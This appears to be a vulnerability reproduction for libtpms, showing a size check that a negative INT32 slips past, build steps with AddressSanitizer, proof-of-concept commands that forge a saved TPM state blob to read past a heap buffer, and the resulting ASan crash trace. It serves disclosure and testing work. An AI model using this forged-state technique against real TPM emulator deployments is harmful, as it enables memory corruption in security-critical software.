} else if (has_block && !needs_block) {
    /* byte stream has the data but we don't need them */
    *buffer += blocksize;      /* blocksize is a UINT16 from the blob */
    *size   -= blocksize;      /* *size is INT32 — goes negative */
    *skip_code = TRUE;
}

if ((UINT32)*size < sizeof(UINT16)) { return TPM_RC_INSUFFICIENT; }

(UINT32)(-8000) = 0xFFFFE0C0 = 4294959296
4294959296 < 2  ->  false        /* guard passes */

git clone https://github.com/stefanberger/libtpms
cd libtpms
git checkout 03ff2481e133540be3b3ffe3daa1483d2a73d967   # v0.10.2, or ba73ab17 for pre-fix master

./autogen.sh --with-tpm1 --with-tpm2 --with-openssl \
    CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1' \
    LDFLAGS='-fsanitize=address'
make -j4

gcc -o poc_f3 poc_f3.c -I include -L src/.libs -Wl,-rpath,src/.libs -ltpms -lcrypto

export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0

# 1. dump a genuine state pair through the public API
./poc_f3 gen perm.bin vol.bin

# 2. forge the ORDERLY_DATA trailer at offset 173 and land 8 bytes past the allocation
./poc_f3 test perm.bin vol.bin 173 8610

# control: load the blob unmutated, expect rc=0
./poc_f3 test perm.bin vol.bin -1 0

blocksize = (len − off − 3) + 8 = (8778 − 173 − 3) + 8 = 8610

==1905==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000007352
READ of size 1 at 0x525000007352 thread T0
    #0 in UINT16_Unmarshal           tpm2/Unmarshal.c:71
    #1 in NV_HEADER_UnmarshalVerbose tpm2/NVMarshal.c:419
    #2 in NV_HEADER_Unmarshal        tpm2/NVMarshal.c:453
    #3 in STATE_CLEAR_DATA_Unmarshal tpm2/NVMarshal.c:1302
    #4 in VolatileState_Unmarshal    tpm2/NVMarshal.c:3431
    #5 in VolatileState_Load         tpm2/Volatile.c:81
    #6 in TPM2_SetState              src/tpm_tpm2_interface.c:820
    #7 in TPMLIB_SetState            src/tpm_library.c:222

0x525000007352 is located 8 bytes after 8778-byte region [0x525000005100,0x52500000734a)

libtpms/tpm2: NV_HEADER_UnmarshalVerbose: Invalid magic. Expected 0x98897667, got 0x00000000